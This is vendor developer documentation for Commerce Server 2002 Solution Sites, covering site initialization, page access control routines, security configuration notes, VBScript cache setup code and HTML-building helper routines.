MSCSPageEncodingCharset | The s_PageEncodingCharset site configuration property is retrieved using the GetOptionsDictionary method of the AppCfg object. | GetConfigDictionary
MSCSPageProperties | A Dictionary object is created that contains one Dictionary object for each page in Partner and Customer Services. Each Dictionary object contains properties of the page. | GetPartnerAndCustomerServicePageAttributes
MSCSPageSets | The following page sets (groups of related pages) are created and placed in a Dictionary object: AdvertisementPageSet, ProductPageSet, and PurchasePageSet. | InitPageSets
MSCSPipelines | Friendly names are created for the pipelines and placed in a Dictionary object; logging is enabled. | InitSitePipelines
MSCSPredictor | The PredictorClient object is created and the Transaction prediction model is loaded from the Data Warehouse. | InitPredictor
MSCSProfileProperties | All the properties of all the profile schemas are placed into a Dictionary object. | dictGetProfileSchemaForAllProfileTypes
MSCSProfileService | The ProfileService object is created and initialized to the Profile store. | InitProfileService
MSCSProfileServiceUsesActiveDirectory | Whether Active Directory is used by the Profiling System is determined and placed in a Boolean value. | IsActiveDirectoryPresent
MSCSSecurePages | The Dictionary object containing the names of the secure pages is retrieved. All secure pages need to be put into this Dictionary object. | GetSecurePagesDictionary
MSCSSitePages | Friendly names are created for the site pages and placed in a Dictionary object. | GetSitePages
MSCSSitePaymentMethods | The payment methods for the site are retrieved and placed in a SimpleList object. | GetPaymentMethodsForSite
MSCSSiteStyle | HTML styles are defined and placed in a Dictionary object. | GetSiteStyles
WebServerCount | This server is joined to the Web farm, if there is one. The number of servers in the Web farm is retrieved. | JoinWebFarm
CSFAdvertisingContext, CSFDiscountContext, CampaignsCSFEventPipe | The Content Selection Framework is initialized for advertising, discounts, and an event-processing pipeline. | InitCSF

See Also

Initialization of Solution Sites

Page Initialization for Solution Sites


Page Initialization for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

A common subset of files is included in all pages. Most of these files provide access to numerous routines. However, the following files also provide code declared outside of any routines:

  • include\header.asp
  • include\setupenv.asp - This file provides extensive functionality, including the creation of local variables from the application variables created in the global.asa file.

See Also

Page Execution Model for Solution Sites

Initialization of Solution Sites

Application Startup for Solution Sites


Page-Level Access Control for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The EnsureAccess and EnsureAuthAccess routines, defined in the file include\std_access_lib.asp, implement page-level access control based on the user type and access type. For information about the user type and access type, see User Tracking.

The EnsureAccess and EnsureAuthAccess routines must be called from within the Main subroutine on every page that requires access control. The call must appear before any other statement in the Main subroutine.

Both the EnsureAuthAccess and EnsureAccess routines grant access to users who are registered and authenticated (user type = AUTH_USER), and have a profile. The EnsureAccess subroutine also allows access to anonymous users based on the login option. Neither of these routines allow direct anonymous access and should not be called on any page where direct access by anonymous users is wanted.

This section contains:

  • Using EnsureAuthAccess to Access Solution Sites
  • Using EnsureAccess to Access Solution Sites
  • Using Anonymous Access for the Retail Solution Site

See Also

About the Login Feature for Solution Sites

About the Profiles Feature for Solution Sites

Security Issues for Solution Sites

About the User Tracking Feature for Solution Sites


Using EnsureAuthAccess to Access Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The EnsureAuthAccess function allows page access to users who are registered and authenticated (user type = AUTH_USER), and have a profile. Authenticated users without a profile are redirected to the error\profile.asp page which displays an error message. All other user types are redirected to the login\login.asp page.

The following pages call this function:

_setadrs.asp | addrbook.asp
newaddr.asp | po.asp
services\partner\account.asp | services\change_password.asp
services\partner\edit_user.asp | services\customer\account.asp
services\partner\orders.asp | services\customer\orders.asp
services\partner\users.asp | services\customer\view_order.asp
services\partner\view_order.asp

See Also

Page-Level Access Control for Solution Sites

Using EnsureAccess to Access Solution Sites

Using Anonymous Access for the Retail Solution Site


Using EnsureAccess to Access Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following figure shows the steps performed by the EnsureAccess subroutine. These steps are described immediately following the figure.

EnsureAccess logic diagram

Authenticated Users

Page access is granted to users who are registered and authenticated (user type = AUTH_USER), and have a profile. Authenticated users without a profile are redirected to the error\profile.asp page. All other user types are redirected to the login\login.asp page. This is functionally equivalent to the EnsureAuthAccess function.

Anonymous Users

If login is not required, anonymous users (GUEST_USER) are allowed access to the page. The following steps are performed for anonymous users:

  1. If login is required on the site, the user is redirected to the login page.
  2. If the user has previously registered, the user is redirected to the welcome.asp page.
  3. Otherwise, access to the page is granted.

Anonymous Users

If login is not required, the EnsureAccess subroutine is re-called. The following steps are performed for anonymous users:

  1. If login is required on the site, the user is redirected to the login page.
  2. If profiling is enabled on the site, a new profile (with a globally unique identifier (GUID) for the user ID) is created for the user. Otherwise, only the GUID is generated for the user ID.
  3. The user ID is set in a Profile ticket either as a cookie (if enabled on the client) or a URL query string.
  4. The user type is changed to GUEST_USER and the access type to GUEST_VISIT.
  5. The EnsureAccess subroutine is called again in order to trigger the validation logic for anonymous users.

The following pages call the EnsureAccess subroutine:

_additem.asp | category.asp | product.asp
_delall.asp | confirm.asp | redir.asp
_delitem.asp | crdtcard.asp | search.asp
_editqty.asp | default.asp | srchdept.asp
_setship.asp | dispatch.asp | stepsrch.asp
addrform.asp | pickship.asp | summary.asp
basket.asp

See Also

Page-Level Access Control for Solution Sites

Using EnsureAuthAccess to Access Solution Sites

Using Anonymous Access for the Retail Solution Site


Using Anonymous Access for the Retail Solution Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following pages in the Retail site do not call either the EnsureAuthAccess or EnsureAccess routines and thus allow direct anonymous access:

_recvpo.asp | error\baditem.asp
welcome.asp | error\badurl.asp
login\login.asp | error\closed.asp
login\logoff.asp | error\construc.asp
login\newuser.asp | error\noauth.asp
login\_guest.asp | error\profile.asp
services\error\badaction.asp | services\error\noaccess.asp
services\error\noorder.asp | services\error\noorgprofile.asp
services\error\noprofile.asp

See Also

Page-Level Access Control for Solution Sites

Using EnsureAuthAccess to Access Solution Sites

Using EnsureAccess to Access Solution Sites


Security Issues for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following security issues pertain specifically to the Solution Sites. For more information about security issues in general, see "Securing Your Site" in Commerce Server 2002 Help.

  • You must place any page you want to have secured using the Secure Socket Layer (SSL) protocol into the secure pages dictionary (MSCSSecurePages). Add secure pages to this dictionary using the GetSecurePagesDictionary function of the include\global_siteconfig_lib.asp file. SSL for the site must be enabled from the Internet Information Services (IIS) snap-in.
  • There is an IIS configuration switch that forces a site to run all of its pages in SSL mode. The Retail site was not built to support running in this mode; nor is it recommended for performance reasons.
  • Page access is controlled through the use of IIS security settings and by the EnsureAccess and EnsureAuthAccess routines, defined in the include\std_access_lib.asp file. For more information, see Page-Level Access Control for Solution Sites.
  • Tickets are property name/value pairs stored in either a cookie (if enabled) or appended to the URL query string (URL mode). A ticket contains a unique ID used for tracking and authenticating a user. If using URL mode, the ticket containing the ID of the user is available from the HTML cache and browser history list. This may be used to impersonate the user and gain access to the account information of the user. For more information about tickets, see User Tracking.
  • The BDRefresh.asp and RefreshApp.asp files allow cache refreshes to be triggered from Commerce Server Business Desk. Clearing either of these caches repeatedly could lead to a denial of service for users. These files must be secured to ensure that only Business Desk users can trigger the refresh of the pages. Secure these files by granting access to specific Business Desk users through the use of IP address access restrictions in IIS. For more information about securing these files, and other files included with the Solution Sites, see Securing BDRefresh.asp, RefreshApp.asp and Opt-Out.asp.
  • The csapp.ini file should be secured by turning off both read and anonymous access to it in IIS. This file should not be secured with NTFS permissions because it needs to be readable under user credentials, such as the IUSR account.
  • Several of the files in the Solution Sites have the file extension ".inc". These files are downloadable and the source is viewable if the files are not properly secured. By default, Commerce Server Site Packager denies download access to the directory in which these file are located. Be sure that this setting is preserved. These files also can be safely renamed with an ".asp" extension.
  • Access to different catalogs can be granted on a user or organization basis. Users are locked out of catalogs not in their catalog set. The catalog set information is stored in the profile of the user or their organization. The GetCatalogForUser function ensures that the user or organization has rights to a specified catalog.
  • The request wrapper functions (GetRequestString and GetRequestStringRange) prevent scripting attacks by stripping double quotes, and opening and closing element tags (< and >) from strings obtained through the Request object.
  • Partner and Customer Service pages use profile property attributes to determine whether different types of users (normal users, delegated administrators, and so on) can read or write the profile properties. For example, a user profile may have a property called "approval limit". You can use the property attributes to designate that normal users cannot edit the property, but delegated administrators can. For more information about setting the attributes, see "Profile Definitions" under "Running the Profiles Resource" in Commerce Server 2002 Help.
  • Credit card information is not stored in a database. The credit card number is passed to a payment pipeline component, which takes full ownership of the number. However, the pipeline component can be changed to explicitly save the credit card number to the order form. (The creditcard number, _cc_number, is not persisted to the database because it is prefixed by the underscore.)

See Also

Page-Level Access Control for Solution Sites

About the Login Feature for Solution Sites

About the Profiles Feature for Solution Sites

About the User Tracking Feature for Solution Sites


Caching Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Retail and Supplier Solution Sites rely heavily on data caching to improve performance. Data caching is a method of keeping data and objects that you expect to reuse in memory for quicker access. The Solution Sites cache most of the HTML displayed on the site, as well as frequently used data for advertisements and the Order Processing pipeline.

This section contains:

  • Caching Overview for Solution Sites
  • Catalog Caching for Solution Sites
  • Search Caching for Solution Sites
  • Campaign Caching for Solution Sites
  • OPP Caching for Solution Sites
  • Other Caches
  • Adding a New Cache


Caching Overview for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Retail and Supplier Solution Sites use the same code for caching. The initialization code at application startup creates a Commerce Server CacheManager object that is available at the application level. The CacheManager object maintains the collection of caches, and the caches are accessed through it.

Initialization for caching occurs in the following files:

include\global_main_lib.asp

This file contains the Main function for the global.asa file. During application initialization the Main function creates the application variable MSCSCacheManager and sets it to the CacheManager object returned by the InitCacheManager function.

include\global_cache_lib.asp

The InitCacheManager function creates a new CacheManager object. It then creates and initializes the collection of caches for the application, and then returns the CacheManager object.

All the caches can be refreshed from Commerce Server Business Desk through the BDRefresh.asp page. The BDRefresh.asp page contains code to refresh multiple caches when any one of a group of related caches is refreshed. This avoids inconsistencies between related caches, such as the catalog caches.

See Also

Catalog Caching for Solution Sites

Search Caching for Solution Sites

Campaign Caching for Solution Sites

OPP Caching for Solution Sites

Initialization of Solution Sites


Catalog Caching for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

All of the catalog caches are initialized in an identical fashion. Most of them are used to store HTML fragments. Based on your scenario you may want to adjust cache sizes or other attributes to enhance the performance of your application. Details for performance tuning are beyond the scope of this document. For more information about performance tuning, see Optimizing Commerce Server.

Initialization

The following code, from the InitCacheManager function with additional comments, shows how the cache ProductListCache is created in the Solution Sites:

'Create the configuration dictionary for the cache loader.
      Set dictProductListCacheConfig = GetDictionary()

'Get the connection string from the configuration dictionary.
    dictProductListCacheConfig("ConnectionString") = _
       dictConfig.s_TransactionConfigConnectionString

'Set cache size, this is the number of items in the cache.
'It is not related to the size of the items.
    dictProductListCacheConfig("CacheSize") = 10000

'Set the name of the table used to provide information to Business Desk.
    dictProductListCacheConfig("TableName") = _
        "CatalogCache_Virtual_Directory"

'CacheName is one of the fields inserted in the above table.
'It also is used in BDRefresh.asp to trigger
'refreshing all catalog caches.
    dictProductListCacheConfig("CacheName") = "CatalogCache"
'Machine Base URL, to be inserted in the above table.
    dictProductListCacheConfig("AppUrl") = sMachineBaseURL
...
' Configure CacheManager For ProductList Fragment Caching.
'Setting RefreshInterval to 0 disables automatic refresh.
    oCacheManager.RefreshInterval("ProductListCache") = 0
'RetryInterval in seconds.
    oCacheManager.RetryInterval("ProductListCache") = 5 * 60
'Use an LRUCache object for the cache.
    oCacheManager.CacheObjectProgId("ProductListCache") = _
        "Commerce.LRUCache"
    oCacheManager.LoaderProgId("ProductListCache") = _
        "Commerce.LRUCacheFlush"
'Reference the dictionary created above for configuration data.
    Set oCacheManager.LoaderConfig("ProductListCache") = _
        dictProductListCacheConfig

Using Caches

The Solution Sites use four wrapper routines to simplify moving items in or out of the catalog caches.

CacheFragment

CacheObject

LookupCachedFragment

LookupCachedObject

Note

  • These routines expect an LRUCache object name, and will not work with a dictionary object name.

During site development it can be useful to disable caching. When troubleshooting caching problems it can be useful know whether a particular item was cached. There is commented debug code in the LookupCachedFragment function to show if a fragment was cached.

Individual Caches

There are six caches, not counting search caches, that are related to the catalog. The search caches are discussed in Search Caching for Solution Sites.

ProductListCache

QueryCatalogInfoCache

DiscountProductInfo

DefaultPageCache

ProductPageCache

StaticSectionsCache

ProductListCache

The cache ProductListCache is used to store product list HTML fragments on the category.asp page. It is referenced in the htmCategoryHTML and htmCachedProductList functions.

QueryCatalogInfoCache

The cache QueryCatalogInfoCache is used by the QueryCatalogInfo pipeline component. For more information, see QueryCatalogInfo. The Commerce Server 2002 QueryCatalogInfo pipeline component expects a cache of this name.

DiscountProductInfo

The discountProductInfo cache is used to store SimpleList objects containing product information on the template\discount.asp helper page. It is referenced in the GetShownProductsDetails and oCachedDiscountProductInfo functions.

DefaultPageCache

The DefaultPageCache cache is used to store the HTML for the user's default page on the default.asp page. It is referenced in the Main (default.asp) function on the page and in the htmRenderDefaultPage function.

ProductPageCache

The cache ProductPageCache is used to store product page HTML on the product.asp page. It is referenced in the Main (product.asp) function.

StaticSectionsCache

The cache StaticSectionsCache is used to store a variety of miscellaneous HTML fragments on the site. The following are examples of pages that reference the cache StaticSectionsCache:

  • template\menu.asp is referenced in the htmRenderLoginSection and htmRenderMenu functions.
  • template\navbar.inc is referenced in the RenderNavbar function.
  • include\form_lib.asp is referenced in the htmRenderFillOutForm function.
  • pickship.asp is referenced in the Main (pickship.asp) and htmCachedShippingMethods functions.

See Also

Search Caching for Solution Sites

Optimizing Commerce Server


Search Caching for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

There are three caches for search — one for full text search and two that support specification searches. They are created in the identical fashion as the catalog caches, and are refreshed with them.

SearchDeptPageCache

StepSearchPageCache

FTSearchPageCache

SearchDeptPageCache

The cache SearchDeptPageCache is used to store search results on the srchdept.asp page. This page is reached by the Advanced link next to the Search button on the menu pane. This cache is referenced in the Main (srchdept.asp) and bIsSearchDeptPageCached functions.

StepSearchPageCache

The cache StepSearchPageCache is used to store search results on the stepsrch.asp page. This page is reached from the department links on the srchdept.asp page. This cache is referenced in the Main (stepsrch.asp) and bIsStepSearchPageCached functions.

FTSearchPageCache

The cache FTSearchPageCache is used to store full text search results on the search.asp page. This page is reached by clicking the Search button on the menu pane. This cache is referenced in the bFullTextResultsAreCached and htmRenderFullTextSearchResults functions.

See Also

Catalog Caching for Solution Sites

template\menu.asp

Product Catalog Programming Concepts

Code to Perform a Specification Search of a Catalog

Code to Perform a Free-Text Search of a Catalog


Campaign Caching for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Solution Sites provide two caches for advertisements and discounts that are used by the Content Selection Framework (CSF). Site developers do not need to reference these caches. Unlike the catalog caches, these caches use Dictionary objects, so they are initialized in a slightly different way.

Advertisement Cache

Discounts Cache

Advertisement Cache

Initialization

The following code, from the InitCacheManager function, shows the creation of the advertising cache:

'Create the configuration dictionary.
    Set dictCampaignConfig = GetDictionary()
    dictCampaignConfig("ConnectionString") = _
        dictConfig.s_CampaignsConnectionString
    Set dictCampaignConfig("Evaluator") = oEvaluator
        ' oEvaluator is the Commerce Server ExpressionEvaluator.

    ' Configure CacheManager for ads.
    oCacheManager.RefreshInterval("advertising") = 5*60
    oCacheManager.RetryInterval("advertising") = 60
    oCacheManager.LoaderProgId("advertising") = _
        "Commerce.CSFLoadAdvertisements"
    oCacheManager.WriterProgId("advertising") = "Commerce.CSFWriteEvents"
    Set oCacheManager.LoaderConfig("advertising") = dictCampaignConfig
    Set oCacheManager.WriterConfig("advertising") = dictCampaignConfig

Discounts Cache

Initialization

The following code, from the InitCacheManager function, shows the creation of the discounts cache:

'Create the configuration dictionary.
    Set dictCampaignConfig = GetDictionary()
    dictCampaignConfig("ConnectionString") = _
        dictConfig.s_CampaignsConnectionString
    Set dictCampaignConfig("Evaluator") = oEvaluator
        ' oEvaluator is the Commerce Server ExpressionEvaluator.

'Configure CacheManager for discounts.
    'Setting RefreshInterval to 0 disables automatic refreshing.
    oCacheManager.RefreshInterval("discounts") = 0
    oCacheManager.RetryInterval("discounts") = 60    'seconds
    oCacheManager.LoaderProgId("discounts") = "Commerce.CSFLoadDiscounts"
    oCacheManager.WriterProgId("discounts") = "Commerce.CSFWriteEvents"
    Set oCacheManager.LoaderConfig("discounts") = dictCampaignConfig
    Set oCacheManager.WriterConfig("discounts") = dictCampaignConfig

See Also

Content Selection Pipelines


OPP Caching for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Solution Sites use several pipeline components that require specific caches. The Solution Sites provide two caches for tax and shipping that are used by the Order Processing pipeline. Site developers do not need to reference these caches. Unlike the catalog caches, these caches use Dictionary objects, so they are initialized in a slightly different way.

SampleRegionalTaxCache Cache

Shipping Method Router Cache

SampleRegionalTaxCache Cache

Initialization

The following code, from the InitCacheManager function, shows the creation of the SampleRegionalTaxCache cache:

'Create the configuration dictionary.
    Set dictTransactionConfig = GetDictionary()
    dictTransactionConfig("ConnectionString") = _
        dictConfig.s_TransactionConfigConnectionString

    ' Configure CacheManager for tax.
    oCacheManager.RefreshInterval("SampleRegionalTaxCache") = 0
    oCacheManager.RetryInterval("SampleRegionalTaxCache") = 60
    oCacheManager.LoaderProgId("SampleRegionalTaxCache") = _
        "Commerce.SampleRegionalTaxCache"
    Set oCacheManager.LoaderConfig("SampleRegionalTaxCache") = _
        dictTransactionConfig

The initialization code calls the GetCache method on the tax cache to ensure that Commerce Server Business Desk is informed that this application is caching tax information.

    Call oCacheManager.GetCache("SampleRegionalTaxCache")

Shipping Method Router Cache

The Shipping Method Router pipeline component requires a cache named ShippingManagerCache.

Initialization

The following code, from the InitCacheManager function, shows the creation of the cache ShippingManagerCache:

'Create the configuration dictionary.
    Set dictTransactionConfig = GetDictionary()
    dictTransactionConfig("ConnectionString") = _
        dictConfig.s_TransactionConfigConnectionString

    ' Configure CacheManager for shipping.
    oCacheManager.RefreshInterval("ShippingManagerCache") = 0
    oCacheManager.RetryInterval("ShippingManagerCache") = 60
    oCacheManager.LoaderProgId("ShippingManagerCache") = "Commerce.ShippingManagerCache"
    Set oCacheManager.LoaderConfig("ShippingManagerCache") = dictTransactionConfig

    ' Call GetCache() on the shipping cache to ensure that Business Desk
    ' is informed that this application is caching shipping information.
    Call oCacheManager.GetCache("ShippingManagerCache")

See Also

Shipping Objects

Tax Objects


Other Caches

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The CatalogManager object properties and the profiles in the ProfileService object are cached in application level dictionaries for performance reasons. This is a different mechanism from the other caches; the CacheManager object does not manage these dictionaries.

Catalog Manager Properties Cache

Profile Definition Cache

CatalogManager Properties Cache

The MSCSCatalogAttribs dictionary caches the catalog attributes as exposed by the CatalogManager object. This cache is used for quicker attribute lookup on the product.asp page. The dictGetCatalogAttributes function loads properties into the dictionary. This dictionary is refreshed when the other catalog caches are refreshed in the file BDRefresh.asp.

Profile Definition Cache

The MSCSProfileProperties dictionary caches the profile definition information. The dictGetProfileSchemaForAllProfileTypes function loads the profile definitions from MSCSProfileService in the include\global_main_lib.asp file. This cache has a refresh mechanism that is similar to other site caches. However the Publish Profiles module in Commerce Server Business Desk calls the RefreshApp.asp page instead of the BDRefresh.asp file.


Adding a New Cache

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

You can create a cache using either a dictionary or LRUCache object. The choice depends on how you use the cache. If you are going to cache HTML fragments, particularly if the number of fragments is likely to grow beyond a reasonable cache size, it is advisable that you use the LRUCache object. The wrapper functions discussed in Catalog Caching for Solution Sites expect an LRUCache object.

Initialize your cache in the file include\std_cache_lib.asp. Depending on how you want to refresh your cache, you may need to modify the file BDRefresh.asp as follows. If you are adding another catalog cache you will need to add it to the list catalog caches. If you are adding multiple caches that must be refreshed together, you will need to add a an additional case statement to detect your cache names and refresh all of your caches

In order to refresh a cache from Commerce Server Business Desk the CacheLoader component has to notify Business Desk that the cache is present. The CacheLoader component inserts a new record, or updates an existing record, in a table in your site database with the computer URL, the cache name, and the date created. If you are adding an additional catalog-related cache you can use the same table as the other catalog caches, the CatalogCache_Virtual_Directory table.

If you are adding a cache for data that is not related to an existing data source you will want to create a new table for registering the cache. See the txVirtual_directory table, used for order related caches, in the Solution Sites database for an example of the table to create if you are caching data from a different source. You will need to modify Business Desk to look at your new table. See the retailbizdesk\productionrefresh\refresh.asp file in the Business Desk site for an example of Business Desk code that triggers a cache refresh.

The LRUCacheLoader component uses information in the LoaderConfig dictionary to write the necessary record the first time the cache is called. The following code shows how the cache ProductListCache is configured:

'Get the connection string from the configuration dictionary.
'This is the connection string to the database containing the table.
    dictProductListCacheConfig("ConnectionString") = _
       dictConfig.s_TransactionConfigConnectionString

'Set the name of the table used to provide information to Business Desk.
    dictProductListCacheConfig("TableName") = _
        "CatalogCache_Virtual_Directory"

'CacheName is one of the fields inserted in the above table.
'It also is used in BDRefresh.asp to trigger
'refreshing all catalog caches.
    dictProductListCacheConfig("CacheName") = "CatalogCache"
'Machine Base URL, to be inserted in the above table.
    dictProductListCacheConfig("AppUrl") = sMachineBaseURL
...

See Also

Code to Implement Custom Cache Components

Code to Manipulate an LRUCache Object

Building Pipeline Components

Building Business Desk Modules


Constants in Solution Site Applications

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Most of the constants in the Solution Sites application are contained in the AppConsts 1.0 Type Library, which can be found in <Drive>:\Program Files\Microsoft Commerce Server\appconsts.tlb. This type library was released with Microsoft Commerce Server 2002 and can be used by any application. Declaring constants in a type library greatly improves performance, but does make it more difficult to change the values of the constants. You can view the contents of the type library with Microsoft Visual Basic or the OLE View tool in Microsoft Visual Studio. For a list of the constants, see Constants Reference.

The type library is declared in a METADATA tag near the top of the global.asa file. This makes the constants available anywhere within the application. Search for "TypeLibrary Declarations" on the Microsoft Developer Network (MSDN) Web site at http://go.microsoft.com/fwlink/?LinkId=5161 for more information about using the "TypeLib" METADATA tag.

The AppConsts 1.0 Type Library replaced the include file \include\consts.asp during the development of the Solution Sites application. This change was made to improve performance. This file was left in the Solution Sites application so that constants could be added to the application without recompiling the type library. The file \include\consts.asp is currently empty.

The file services\include\const.asp contains constants specific to the partner/customer service portion of the Solution Sites application.

This section contains:

  • Using Compiled Constants in Solution Site Applications
  • Re-compiling Constants Using MIDL for Solution Site Applications

See Also

Constants Reference


Using Compiled Constants in Solution Site Applications

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The constants declared in the AppConsts 1.0 Type Library are available throughout the scope of the application, and can be used exactly like constants declared directly in the ASP pages.

It is possible to have constants with the same name in more than one type library. You can avoid ambiguous references to constants by adding the type library name as a prefix for the constant, for example, AppConstsLib.SITE_NAME.

See Also

Re-compiling Constants Using MIDL for Solution Site Applications


Re-compiling Constants Using MIDL for Solution Site Applications

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

If you change any of the constants declared in the AppConsts 1.0 Type Library you will need to recompile the edited source to make a new type library

The source for the AppConsts 1.0 Type Library is in the Microsoft Commerce Server SDK at <Drive>:\Program Files\Microsoft Commerce Server\SDK\Samples\Solution Sites\AppConsts.idl.

The following procedure shows the general steps to follow to create a new type library.

To re-compile constants using MIDL

  1. Edit the .idl file as needed.
  2. Generate a new globally unique identifier (GUID) with the GUIDGEN.exe file (included with Microsoft Visual Studio).
  3. Replace the universally unique identifier (UUID) declaration in the .idl file with the new GUID.
  4. [optional]Rename the type library.
  5. Run the Microsoft Interface Definition Language (MIDL) compiler.

    Note

    • For more information about running the MIDL compiler, search the Microsoft Developer Network (MSDN) Web site at http://go.microsoft.com/fwlink/?LinkId=5161 for "Invoking the MIDL Compiler."
  6. [optional] Register the resulting .tlb file.

    Note

    • If you have multiple servers the type library will need to be registered on each server.
    • If you write the METADATA tag to reference the type library by file name rather than by UUID, you do not have to register the type library. Saving the file at the root of your application will make it easy to include the file if the application is packaged for distribution to multiple servers.
  7. Modify the METADATA tag to reference the new type library. The following example references a type library by its file name.
    <!--METADATA TYPE="TypeLib"
FILE="MyComponent.tlb"
-->

    Note

    • For more information about using the "TypeLib" METADATA tag, search the Microsoft Developer Network (MSDN) Web site at http://go.microsoft.com/fwlink/?LinkId=5161 for "TypeLibrary Declarations."


HTML Construction for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Commerce Server Solution Sites use a technique for constructing HTML that differs from the more traditional technique in which HTML tags, content, and script are freely intermixed on Web pages. Opposed to this, nearly all of the HTML returned to browsers by the Solution Sites is produced by script.

As is the case in most large Web sites, the data itself, such as the descriptions and prices of products in the catalog, is retrieved from databases using script.

The Solution Sites take this technique further, retrieving the content that explains the data from strings that are defined centrally. This methodology has the advantage of making localization of the Web site much more straightforward.

Script is used to intermix the data, the centralized content, and the HTML tags that format both. The script produces strings, sometimes quite large, that are then written to the browser using either the Write method of the intrinsic Response object, or the abbreviated form: <%= sHTM %>.

One of the main advantages of this technique, that builds the HTML in strings, is that the strings can be cached, thereby reducing database access. The Solution Sites use caching extensively.

The Solution Sites include a utility routine file that contains routines dedicated to helping you construct HTML. The name of this file is include\html_lib.asp.

This section contains:

  • HTML Construction Methodology for Solution Sites Provides a brief explanation of the string concatenation methodology used within the Solution Sites script to build strings containing complex HTML.
  • Categories of Routines used for Solution Sites Provides a functional categorization of the routines in the file include\html_lib.asp.


HTML Construction Methodology for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

String concatenation is used extensively throughout the Solution Sites code to build the strings of HTML that are eventually written to the browser. The nature of HTML lends itself quite naturally to this technique, as the following examples show.

Given a hypothetical routine that produces HTML, named htmReturnsHTML, and a variable for "collecting" the accumulating HTML, named htmContent, the following examples show how intuitive it is to wrap, prepend, or append one string of HTML to another.

Wrap: htmContent = "<B>" & htmReturnsHTML() & "</B>"
Wrap: htmContent = "<P>" & htmContent & "</P>"
Prepend: htmContent = htmReturnsHTML() & htmContent
Append: htmContent = htmContent & htmReturnsHTML()

The file include\html_lib.asp contains many routines that have encapsulated these types of string concatenations. Some are quite simple, like the functions Bold and Italic. Others are more complex, like the routines provided for building HTML tables. For more information about the different categories of routines provided in the file include\html_lib.asp, see Categories of Routines used for Solution Sites.

Another important aspect of the HTML routines concerns styles, which are most often set by specifying attributes to the HTML elements. For example, the function RenderText takes two parameters: str and sAttList. The parameter str provides the basic string that is going to be wrapped in a FONT element. The parameter sAttList provides a list of attributes that will be associated with the FONT element, providing such characteristics as the type and size of the font to be rendered. The function RenderText consists of the following line of code:

RenderText = "<FONT" & sAttList & ">" & str & "</FONT>"

Notice how the value of the sAttList parameter is embedded within the starting FONT tag, in the position where element attributes occur. The strings you construct for the sAttList parameters that are used by many of the HTML routines are space-separated lists of attributes appropriate to the element with which they are being associated. They must begin with a space character so that the first attribute specified will be separated from the element tag itself.

Another way in which styles are specified occurs globally, in a Dictionary object accessible through the page variable MSCSSiteStyle. This dictionary contains numerous entries that provide styles to be applied in different contexts throughout the HTML produced by the Solution Sites code. For example, it is common to see a line of code like the following in the Solution Sites code (RenderLink is called 43 times), which shows the global link style being passed as the sAttList parameter to the RenderLink function:

htmContent = htmContent & RenderLink(urlLink, htmLinkText, _
                                     MSCSSiteStyle.Link) & BR

This technique allows you to easily make global changes to the styles used in your site. For more information about the global style settings, see Customizing Styles.

If suitable for the users of your site, you could implement client-side styles by using these global style dictionary entries to define CLASS and ID attributes for use with Cascading Style Sheet (CSS) files.

The preceeding RenderLink example illustrates another important aspect of the HTML construction infrastructure used by the Solution Sites: constants are provided for some of the simpler HTML tags, such as BR for "<BR>". Using these constants can make the code read more cleanly. For more information about these constants, see HTMLLib Constants.


Categories of Routines used for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The routines in the file include\html_lib.asp can be categorized as follows:

Basic Formatting Routines

The routines in this category are used to format the string passed to them in using a basic HTML formatting element, such as B, I, or P, for bold, italic, and paragraph, respectively. Two of the routines, RenderElement and Tag, allow for an arbitrary element to be specified, making them very flexible.

Bold
BRTag
Italic
PTag
RenderElement
Tag
RenderPreFormattedText
RenderText

Hyperlinking Routines

The routines in this category are unique because they require that a URL be passed as one of their parameters (exceptions to this rule are the RenderForm and RenderImageButton routines, which must also be passed URLs as parameters; they has been categorized with the other form building routines below).

RenderImage
RenderLink

List Building Routines

The routines in this category are used to build HTML lists. They are passed their data in varying forms, and they convert the data to be wrapped in a series of LI elements, sometimes surrounding those with a UL element.

RenderListFromSimpleList
RenderUnorderedList
RenderUnorderedListFromSimpleList

Table Building Routines

The routines in this category are used to build HTML tables. Their table data is passed to them in the form of array parameters, with an entire row of data being passed in a single array. The routine RenderTable is always called last, as it wraps the accumulated TR elements in a TABLE element.

RenderTable
RenderTableDataRow
RenderTableHeaderRow
RenderTableRow

Form Building Routines

The routines in this category are used to build HTML forms. All of them except the RenderForm routine are used to build INPUT elements with TYPE attributes of various sorts. Once a series of INPUT elements has been accumulated, the RenderForm routine is called to wrap those elements in a FORM element, with the specified ACTION and METHOD attributes.

Note that the use of the forms infrastructure provided by the Solution Sites means that you generally do not need to call these routines directly. For more information about the forms infrastructure, see Forms Processing for Solution Sites.

RenderCheckBox
RenderHiddenField
RenderImageButton
RenderListBox
RenderListBoxFromArray
RenderListBoxFromSimpleList
RenderPasswordBox
RenderRadioButton
RenderResetButton
RenderSubmitButton
RenderTextBox
RenderForm

Miscellaneous Array Routines

The routines in this category are miscellaneous routines that share the characteristic of performing HTML formatting operations on parameters that are arrays of strings.

GetRepeatStyle
InsertBlankSpace
InsertLineBreaks
InsertParagraphBreaks


Forms Processing for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

